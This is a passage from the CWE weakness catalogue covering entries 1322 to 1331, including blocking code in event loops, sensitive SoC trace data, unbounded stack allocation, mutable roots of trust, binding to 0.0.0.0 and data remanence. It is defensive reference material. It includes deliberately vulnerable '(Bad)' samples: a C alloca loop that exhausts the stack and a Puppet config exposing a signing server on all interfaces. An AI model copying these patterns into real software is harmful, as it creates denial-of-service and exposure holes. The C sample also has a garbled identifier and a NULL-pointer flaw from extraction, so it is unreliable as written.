[REF-1148]Olivier Arteau. "Prototype pollution attack in NodeJS application". 2018 May 5. < [https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\\_prototype\\_pollution\\_attack\\_in\\_NodeJS.pdf](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) >.

[REF-1149]Changhui Xu. "What is Prototype Pollution?". 2019 July 0. < <https://codeburst.io/what-is-prototype-pollution-49482fc4b638> >.

## CWE-1322: Use of Blocking Code in Single-threaded, Non-blocking Context

**Weakness ID** : 1322

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a non-blocking model that relies on a single threaded process for features such as scalability, but it contains code that can block when it is invoked.

### Extended Description



When an attacker can directly invoke the blocking code, or the blocking code can be affected by environmental conditions that can be influenced by an attacker, then this can lead to a denial of service by causing unexpected hang or freeze of the code. Examples of blocking code might be an expensive computation or calling blocking library calls, such as those that perform exclusive file operations or require a successful network operation.

Due to limitations in multi-thread models, single-threaded models are used to overcome the resource constraints that are caused by using many threads. In such a model, all code should generally be non-blocking. If blocking code is called, then the event loop will effectively be stopped, which can be undesirable or dangerous. Such models are used in Python asyncio, Vert.x, and Node.js, or other custom event loop code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		834	Excessive Iteration	1634
CanPrecede		835	Loop with Unreachable Exit Condition ('Infinite Loop')	1636

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)  <i>An unexpected call to blocking code can trigger an infinite loop, or a large loop that causes the software to pause and wait indefinitely.</i>	

### Potential Mitigations

#### Phase: Implementation

Generally speaking, blocking calls should be replaced with non-blocking alternatives that can be used asynchronously. Expensive computations should be passed off to worker threads, although the correct approach depends on the framework being used.

#### Phase: Implementation

For expensive computations, consider breaking them up into multiple smaller computations. Refer to the documentation of the framework being used for guidance.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

## CWE-1323: Improper Management of Sensitive Trace Data

**Weakness ID :** 1323

**Structure :** Simple

**Abstraction :** Base

### Description

Trace data collected from several sources on the System-on-Chip (SoC) is stored in unprotected locations or transported to untrusted agents.

### Extended Description

To facilitate verification of complex System-on-Chip (SoC) designs, SoC integrators add specific IP blocks that trace the SoC's internal signals in real-time. This infrastructure enables observability of the SoC's internal behavior, validation of its functional design, and detection of hardware and software bugs. Such tracing IP blocks collect traces from several sources on the SoC including the CPU, crypto coprocessors, and on-chip fabrics. Traces collected from these sources are then aggregated inside trace IP block and forwarded to trace sinks, such as debug-trace ports that facilitate debugging by external hardware and software debuggers.

Since these traces are collected from several security-sensitive sources, they must be protected against untrusted debuggers. If they are stored in unprotected memory, an untrusted software debugger can access these traces and extract secret information. Additionally, if security-sensitive traces are not tagged as secure, an untrusted hardware debugger might access them to extract confidential information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	[P]	284	Improper Access Control	644

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	
	<i>An adversary can read secret values if they are captured in debug traces and stored unsafely.</i>	



## Potential Mitigations

### Phase: Implementation

Tag traces to indicate owner and debugging privilege level (designer, OEM, or end user) needed to access that trace.

## Demonstrative Examples

### Example 1:

In a SoC, traces generated from sources include security-sensitive IP blocks such as CPU (with tracing information such as instructions executed and memory operands), on-chip fabric (e.g., memory-transfer signals, transaction type and destination, and on-chip-firewall-error signals), power-management IP blocks (e.g., clock- and power-gating signals), and cryptographic coprocessors (e.g., cryptographic keys and intermediate values of crypto operations), among other non-security-sensitive IP blocks including timers and other functional blocks. The collected traces are then forwarded to the debug and trace interface used by the external hardware debugger.

*Example Language: Other*

*(Bad)*

The traces do not have any privilege level attached to them. All collected traces can be viewed by any debugger (i.e., SoC designer, OEM debugger, or end user).

*Example Language: Other*

*(Good)*

Some of the traces are SoC-design-house secrets, while some are OEM secrets. Few are end-user secrets and the rest are not security-sensitive. Tag all traces with the appropriate, privilege level at the source. The bits indicating the privilege level must be immutable in their transit from trace source to the final, trace sink. Debugger privilege level must be checked before providing access to traces.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2267

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
150	Collect Data from Common Resource Locations
167	White Box Reverse Engineering
545	Pull Data from System Resources

## References

[REF-1150]Jerry Backer, David Hely and Ramesh Karri. "Secure design-for-debug for Systems-on-Chip". 2015 October 6. < <https://ieeexplore.ieee.org/document/7342418> >.

[REF-1151]Jerry Backer, David Hely and Ramesh Karri. "Secure and Flexible Trace-Based Debugging of Systems-on-Chip". 2016 December. < <https://dl.acm.org/doi/pdf/10.1145/2994601> >.

## CWE-1325: Improperly Controlled Sequential Memory Allocation

**Weakness ID** : 1325

**Structure** : Simple

**Abstraction** : Base

## Description

The product manages a group of objects or resources and performs a separate memory allocation for each object, but it does not properly limit the total amount of memory that is consumed by all of the combined objects.




### Extended Description

While the product might limit the amount of memory that is allocated in a single operation for a single object (such as a malloc of an array), if an attacker can cause multiple objects to be allocated in separate operations, then this might cause higher total memory consumption than the developer intended, leading to a denial of service.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		770	Allocation of Resources Without Limits or Throttling	1502
PeerOf		789	Memory Allocation with Excessive Size Value	1558
CanPrecede		476	NULL Pointer Dereference	1070

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (*Prevalence = Undetermined*)

**Language :** C++ (*Prevalence = Undetermined*)

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**Stack Exhaustion :** When a weakness allocates excessive memory on the stack, it is often described as "stack exhaustion," which is a technical impact of the weakness. This technical impact is often encountered as a consequence of CWE-789 and/or CWE-1325.

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Memory)  <i>Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure multiple allocations of the same kind of object are properly tracked - possibly across multiple sessions, requests, or messages. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

#### Phase: Operation

Run the program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

## Demonstrative Examples

### Example 1:

This example contains a small allocation of stack memory. When the program was first constructed, the number of times this memory was allocated was probably inconsequential and presented no problem. Over time, as the number of objects in the database grow, the number of allocations will grow - eventually consuming the available stack, i.e. "stack exhaustion." An attacker who is able to add elements to the database could cause stack exhaustion more rapidly than assumed by the developer.

Example Language: C

(Bad)

```
// Gets the size from the number of objects in a database, which over time can conceivably get very large
int end_limit = get_nمبر_obj_from_db();
int i;
int *base = NULL;
int *p = base;
for (i = 0; i < end_limit; i++)
{
    *p = alloca(sizeof(int *)); // Allocate memory on the stack
    p = *p; // Point to the next location to be saved
}
```

Since this uses `alloca()`, it allocates memory directly on the stack. If `end_limit` is large enough, then the stack can be entirely consumed.

## Observed Examples

Reference	Description
<b>CVE-2020-36049</b>	JavaScript-based packet decoder uses concatenation of many small strings, causing out-of-memory (OOM) condition <a href="https://www.cve.org/CVERecord?id=CVE-2020-36049">https://www.cve.org/CVERecord?id=CVE-2020-36049</a>
<b>CVE-2019-20176</b>	Product allocates a new buffer on the stack for each file in a directory, allowing stack exhaustion <a href="https://www.cve.org/CVERecord?id=CVE-2019-20176">https://www.cve.org/CVERecord?id=CVE-2019-20176</a>
<b>CVE-2013-1591</b>	Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full. <a href="https://www.cve.org/CVERecord?id=CVE-2013-1591">https://www.cve.org/CVERecord?id=CVE-2013-1591</a>

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
130	Excessive Allocation

## CWE-1326: Missing Immutable Root of Trust in Hardware

**Weakness ID** : 1326

**Structure** : Simple

**Abstraction** : Base

### Description

A missing immutable root of trust in the hardware results in the ability to bypass secure boot or execute untrusted or adversarial boot code.

### Extended Description

A System-on-Chip (SoC) implements secure boot by verifying or authenticating signed boot code. The signing of the code is achieved by an entity that the SoC trusts. Before executing the boot code, the SoC verifies that the code or the public key with which the code has been signed has not

been tampered with. The other data upon which the SoC depends are system-hardware settings in fuses such as whether "Secure Boot is enabled". These data play a crucial role in establishing a Root of Trust (RoT) to execute secure-boot flows.

One of the many ways RoT is achieved is by storing the code and data in memory or fuses. This memory should be immutable, i.e., once the RoT is programmed/provisioned in memory, that memory should be locked and prevented from further programming or writes. If the memory contents (i.e., RoT) are mutable, then an adversary can modify the RoT to execute their choice of code, resulting in a compromised secure boot.

Note that, for components like ROM, secure patching/update features should be supported to allow authenticated and authorized updates in the field.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Security Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Authentication	Gain Privileges or Assume Identity	High
Authorization	Execute Unauthorized Code or Commands Modify Memory	

## Detection Methods

### Automated Dynamic Analysis

Automated testing can verify that RoT components are immutable.

*Effectiveness = High*

### Architecture or Design Review

Root of trust elements and memory should be part of architecture and design reviews.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

When architecting the system, the RoT should be designated for storage in a memory that does not allow further programming/writes.

### Phase: Implementation

During implementation and test, the RoT memory location should be demonstrated to not allow further programming/writes.

### Demonstrative Examples

#### Example 1:

The RoT is stored in memory. This memory can be modified by an adversary. For example, if an SoC implements "Secure Boot" by storing the boot code in an off-chip/on-chip flash, the contents of the flash can be modified by using a flash programmer. Similarly, if the boot code is stored in ROM (Read-Only Memory) but the public key or the hash of the public key (used to enable "Secure Boot") is stored in Flash or a memory that is susceptible to modifications or writes, the implementation is vulnerable.

In general, if the boot code, key materials and data that enable "Secure Boot" are all mutable, the implementation is vulnerable.

Good architecture defines RoT as immutable in hardware. One of the best ways to achieve immutability is to store boot code, public key or hash of the public key and other relevant data in Read-Only Memory (ROM) or One-Time Programmable (OTP) memory that prevents further programming or writes.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2262

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
68	Subvert Code-signing Facilities
679	Exploitation of Improperly Configured or Implemented Memory Protections

### References

[REF-1152]Trusted Computing Group. "TCG Roots of Trust Specification". 2018 July. < [https://trustedcomputinggroup.org/wp-content/uploads/TCG\\_Roots\\_of\\_Trust\\_Specification\\_v0p20\\_PUBLIC\\_REVIEW.pdf](https://trustedcomputinggroup.org/wp-content/uploads/TCG_Roots_of_Trust_Specification_v0p20_PUBLIC_REVIEW.pdf) >.

[REF-1153]GlobalPlatform Security Task Force. "Root of Trust Definitions and Requirements". 2017 March. < [https://globalplatform.org/wp-content/uploads/2018/06/GP\\_RoT\\_Definitions\\_and\\_Requirements\\_v1.0.1\\_PublicRelease\\_CC.pdf](https://globalplatform.org/wp-content/uploads/2018/06/GP_RoT_Definitions_and_Requirements_v1.0.1_PublicRelease_CC.pdf) >.

## CWE-1327: Binding to an Unrestricted IP Address

**Weakness ID** : 1327

**Structure** : Simple

**Abstraction** : Base

### Description

The product assigns the address 0.0.0.0 for a database server, a cloud service/instance, or any computing resource that communicates remotely.

### Extended Description


When a server binds to the address 0.0.0.0, it allows connections from every IP address on the local machine, effectively exposing the server to every possible network. This might be much

broader access than intended by the developer or administrator, who might only be expecting the server to be reachable from a single interface/network.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

## Applicable Platforms

**Language** : Other (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Web Server (*Prevalence = Undetermined*)

**Technology** : Client Server (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Amplification	High

## Potential Mitigations

### Phase: System Configuration

Assign IP addresses that are not 0.0.0.0.

*Effectiveness = High*

### Phase: System Configuration

*Strategy = Firewall*

Unwanted connections to the configured server may be denied through a firewall or other packet filtering measures.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

The following code snippet uses 0.0.0.0 in a Puppet script.

*Example Language: Other*

*(Bad)*

```
signingserver::instance {
  "nightly-key-signing-server":
    listenaddr => "0.0.0.0",
    port => "9100",
    code_tag => "SIGNING_SERVER",
}
```

The Puppet code snippet is used to provision a signing server that will use 0.0.0.0 to accept traffic. However, as 0.0.0.0 is unrestricted, malicious users may use this IP address to launch frequent requests and cause denial of service attacks.

Example Language: Other

(Good)

```
signingserver::instance {
  "nightly-key-signing-server":
    listenaddr => "127.0.0.1",
    port => "9100",
    code_tag => "SIGNING_SERVER",
}
```

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs

## References

[REF-1158]Akond Rahman, Md Rayhanur Rahman, Chris Parnin and Laurie Williams. "Security Smells in Ansible and Chef Scripts: A Replication Study". 2020 June 0. < <https://arxiv.org/pdf/1907.07159.pdf> >.

[REF-1159]Akond Rahman, Chris Parnin and Laurie Williams. "The Seven Sins: Security Smells in Infrastructure as Code Scripts". ICSE '19: Proceedings of the 41st International Conference on Software Engineering. 2019 May. < <https://dl.acm.org/doi/10.1109/ICSE.2019.00033> >.

## CWE-1328: Security Version Number Mutable to Older Versions

**Weakness ID** : 1328

**Structure** : Simple

**Abstraction** : Base

### Description

Security-version number in hardware is mutable, resulting in the ability to downgrade (roll-back) the boot firmware to vulnerable code versions.

### Extended Description



A System-on-Chip (SoC) implements secure boot or verified boot. It might support a security version number, which prevents downgrading the current firmware to a vulnerable version. Once downgraded to a previous version, an adversary can launch exploits on the SoC and thus compromise the security of the SoC. These downgrade attacks are also referred to as roll-back attacks.

The security version number must be stored securely and persistently across power-on resets. A common weakness is that the security version number is modifiable by an adversary, allowing roll-back or downgrade attacks or, under certain circumstances, preventing upgrades (i.e. Denial-of-Service on upgrades). In both cases, the SoC is in a vulnerable state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		285	Improper Authorization	649
PeerOf		757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	1471



## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Security Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Other	High
Integrity	<i>Impact includes roll-back or downgrade to a vulnerable version of the firmware or DoS (prevent upgrades).</i>	
Authentication		
Authorization		

## Detection Methods

### Automated Dynamic Analysis

Mutability of stored security version numbers and programming with older firmware images should be part of automated testing.

*Effectiveness = High*

### Architecture or Design Review

Anti-roll-back features should be reviewed as part of Architecture or Design review.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

When architecting the system, security version data should be designated for storage in registers that are either read-only or have access controls that prevent modification by an untrusted agent.

### Phase: Implementation

During implementation and test, security version data should be demonstrated to be read-only and access controls should be validated.

## Demonstrative Examples

### Example 1:

A new version of firmware is signed with a security version number higher than the previous version. During the firmware update process the SoC checks for the security version number and upgrades the SoC firmware with the latest version. This security version number is stored in persistent memory upon successful upgrade for use across power-on resets.

In general, if the security version number is mutable, the implementation is vulnerable. A mutable security version number allows an adversary to change the security version to a lower value to allow roll-back or to a higher value to prevent future upgrades.

The security version number should be stored in immutable hardware such as fuses, and the writes to these fuses should be highly access-controlled with appropriate authentication and authorization protections.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues		1194 2262

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
176	Configuration/Environment Manipulation

## CWE-1329: Reliance on Component That is Not Updateable

**Weakness ID :** 1329

**Structure :** Simple

**Abstraction :** Base

### Description

The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.

### Extended Description

If the component is discovered to contain a vulnerability or critical bug, but the issue cannot be fixed using an update or patch, then the product's owner will not be able to protect against the issue. The only option might be replacement of the product, which could be too financially or operationally expensive for the product owner. As a result, the inability to patch or update can leave the product open to attacker exploitation or critical operation failures. This weakness can be especially difficult to manage when using ROM, firmware, or similar components that traditionally have had limited or no update capabilities.

In industries such as healthcare, "legacy" devices can be operated for decades. As a US task force report [REF-1197] notes, "the inability to update or replace equipment has both large and small health care delivery organizations struggle with numerous unsupported legacy systems that cannot easily be replaced (hardware, software, and operating systems) with large numbers of vulnerabilities and few modern countermeasures."

While hardware can be prone to this weakness, software systems can also be affected, such as when a third-party driver or library is no longer actively maintained or supported but is still critical for the required functionality.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ChildOf	C	1357	Reliance on Insufficiently Trustworthy Component	2076
ParentOf	B	1277	Firmware Not Updateable	1952
ParentOf	B	1310	Missing Ability to Patch ROM Code	2008

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Gain Privileges or Assume Identity	
Integrity	Bypass Protection Mechanism	
Access Control	Execute Unauthorized Code or Commands	
Authentication	DoS: Crash, Exit, or Restart	
Authorization	Quality Degradation	
Other	Reduce Maintainability	
<i>If an attacker can identify an exploitable vulnerability in one product that has no means of patching, the attack may be used against all affected versions of that product.</i>		

### Detection Methods

#### Architecture or Design Review

Check the consumer or maintainer documentation, the architecture/design documentation, or the original requirements to ensure that the documentation includes details for how to update the firmware.

*Effectiveness = Moderate*

### Potential Mitigations

#### Phase: Requirements

Specify requirements that each component should be updateable, including ROM, firmware, etc.

#### Phase: Architecture and Design

Design the product to allow for updating of its components. Include the external infrastructure that might be necessary to support updates, such as distribution servers.

#### Phase: Architecture and Design

#### Phase: Implementation

With hardware, support patches that can be programmed in-field or during manufacturing through hardware fuses. This feature can be used for limited patching of devices after shipping, or for the next batch of silicon devices manufactured, without changing the full device ROM.

*Effectiveness = Moderate*

*Some parts of the hardware initialization or signature verification done to authenticate patches will always be "not patchable." Hardware-fuse-based patches will also have limitations in terms of size and the number of patches that can be supported.*

#### Phase: Implementation

Implement the necessary functionality to allow each component to be updated.

### Demonstrative Examples

#### Example 1:

A refrigerator has an Internet interface for the official purpose of alerting the manufacturer when that refrigerator detects a fault. Because the device is attached to the Internet, the refrigerator is a target for hackers who may wish to use the device other potentially more nefarious purposes.

*Example Language: Other**(Bad)*

The refrigerator has no means of patching and is hacked becoming a spewer of email spam.

*Example Language: Other**(Good)*

The device automatically patches itself and provides considerable more protection against being hacked.

**Example 2:**

A System-on-Chip (SOC) implements a Root-of-Trust (RoT) in ROM to boot secure code. However, at times this ROM code might have security vulnerabilities and need to be patched. Since ROM is immutable, it can be impossible to patch.



ROM does not have built-in application-programming interfaces (APIs) to patch if the code is vulnerable. Implement mechanisms to patch the vulnerable ROM code.

**Observed Examples**

Reference	Description
<b>CVE-2020-9054</b>	Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097] <a href="https://www.cve.org/CVERecord?id=CVE-2020-9054">https://www.cve.org/CVERecord?id=CVE-2020-9054</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1208	Cross-Cutting Problems	<input checked="" type="checkbox"/>	2268
MemberOf		1368	ICS Dependencies (& Architecture): External Digital Systems	<input type="checkbox"/>	2297

**References**

[REF-1197]Health Care Industry Cybersecurity Task Force. "Report on Improving Cybersecurity in the Health Care Industry". 2017 June. < <https://www.phe.gov/Preparedness/planning/CyberTF/Documents/report2017.pdf> >.

[REF-1097]Brian Krebs. "Zyxel Flaw Powers New Mirai IoT Botnet Strain". 2020 March 0. < <https://krebsonsecurity.com/2020/03/zyxel-flaw-powers-new-mirai-iot-botnet-strain/> >.

**CWE-1330: Remanent Data Readable after Memory Erase****Weakness ID** : 1330**Structure** : Simple**Abstraction** : Variant**Description**

Confidential information stored in memory circuits is readable or recoverable after being cleared or erased.

**Extended Description**

Data remanence occurs when stored, memory content is not fully lost after a memory-clear or -erase operation. Confidential memory contents can still be readable through data remanence in the hardware.

Data remanence can occur because of performance optimization or memory organization during 'clear' or 'erase' operations, like a design that allows the memory-organization metadata (e.g., file pointers) to be erased without erasing the actual memory content. To protect against this weakness, memory devices will often support different commands for optimized memory erase and explicit secure erase.

Data remanence can also happen because of the physical properties of memory circuits in use. For example, static, random-access-memory (SRAM) and dynamic, random-access-memory (DRAM) data retention is based on the charge retained in the memory cell, which depends on factors such as power supply, refresh rates, and temperature.

Other than explicit erase commands, self-encrypting, secure-memory devices can also support secure erase through cryptographic erase commands. In such designs, only the decryption keys for encrypted data stored on the device are erased. That is, the stored data are always remnant in the media after a cryptographic erase. However, only the encrypted data can be extracted. Thus, protection against data recovery in such designs relies on the strength of the encryption algorithm.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊖	1301	Insufficient or Incomplete Data Removal within Hardware Component	2000

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf	⊖	1301	Insufficient or Incomplete Data Removal within Hardware Component	2000

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Security Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Modify Memory Read Memory	
<i>Confidential data are readable to untrusted agent.</i>		

## Detection Methods

**Architecture or Design Review**

Testing of memory-device contents after clearing or erase commands. Dynamic analysis of memory contents during device operation to detect specific, confidential assets. Architecture and design analysis of memory clear and erase operations.

### Dynamic Analysis with Manual Results Interpretation

Testing of memory-device contents after clearing or erase commands. Dynamic analysis of memory contents during device operation to detect specific, confidential assets. Architecture and design analysis of memory clear and erase operations.

### Potential Mitigations

#### Phase: Architecture and Design

Support for secure-erase commands that apply multiple cycles of overwriting memory with known patterns and of erasing actual content. Support for cryptographic erase in self-encrypting, memory devices. External, physical tools to erase memory such as ultraviolet-rays-based erase of Electrically erasable, programmable, read-only memory (EEPROM). Physical destruction of media device. This is done for repurposed or scrapped devices that are no longer in use.

### Demonstrative Examples

#### Example 1:

Consider a device that uses flash memory for non-volatile-data storage. To optimize flash-access performance or reliable-flash lifetime, the device might limit the number of flash writes/erases by maintaining some state in internal SRAM and only committing changes to flash memory periodically.

The device also supports user reset to factory defaults with the expectation that all personal information is erased from the device after this operation. On factory reset, user files are erased using explicit, erase commands supported by the flash device.

In the given, system design, the flash-file system can support performance-optimized erase such that only the file metadata are erased and not the content. If this optimized erase is used for files containing user data during factory-reset flow, then device, flash memory can contain remanent data from these files.

On device-factory reset, the implementation might not erase these copies, since the file organization has changed and the flash file system does not have the metadata to track all previous copies.

A flash-memory region that is used by a flash-file system should be fully erased as part of the factory-reset flow. This should include secure-erase flow for the flash media such as overwriting patterns multiple times followed by erase.

### Observed Examples

Reference	Description
<b>CVE-2019-8575</b>	Firmware Data Deletion Vulnerability in which a base station factory reset might not delete all user information. The impact of this enables a new owner of a used device that has been "factory-default reset" with a vulnerable firmware version can still retrieve, at least, the previous owner's wireless network name, and the previous owner's wireless security (such as WPA2) key. This issue was addressed with improved, data deletion. <a href="https://www.cve.org/CVERecord?id=CVE-2019-8575">https://www.cve.org/CVERecord?id=CVE-2019-8575</a>

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
150	Collect Data from Common Resource Locations
545	Pull Data from System Resources

### References

[REF-1154]National Institute of Standards and Technology. "NIST Special Publication 800-88 Revision 1: Guidelines for Media Sanitization". 2014 December. < <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-88r1.pdf> >.

## CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC)

**Weakness ID** : 1331

**Structure** : Simple

**Abstraction** : Base

### Description

The Network On Chip (NoC) does not isolate or incorrectly isolates its on-chip-fabric and internal resources such that they are shared between trusted and untrusted agents, creating timing channels.




### Extended Description

Typically, network on chips (NoC) have many internal resources that are shared between packets from different trust domains. These resources include internal buffers, crossbars and switches, individual ports, and channels. The sharing of resources causes contention and introduces interference between differently trusted domains, which poses a security threat via a timing channel, allowing attackers to infer data that belongs to a trusted agent. This may also result in introducing network interference, resulting in degraded throughput and latency.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ChildOf		653	Improper Isolation or Compartmentalization	1353
PeerOf		1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1829

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf		1189	Improper Isolation of Shared Resources on System-on-a-Chip (SoC)	1829

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Security Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Background Details



"Network-on-chip" (NoC) is a commonly-used term used for hardware interconnect fabrics used by multicore Systems-on-Chip (SoC). Communication between modules on the chip uses packet-based methods, with improved efficiency and scalability compared to bus architectures [REF-1241].

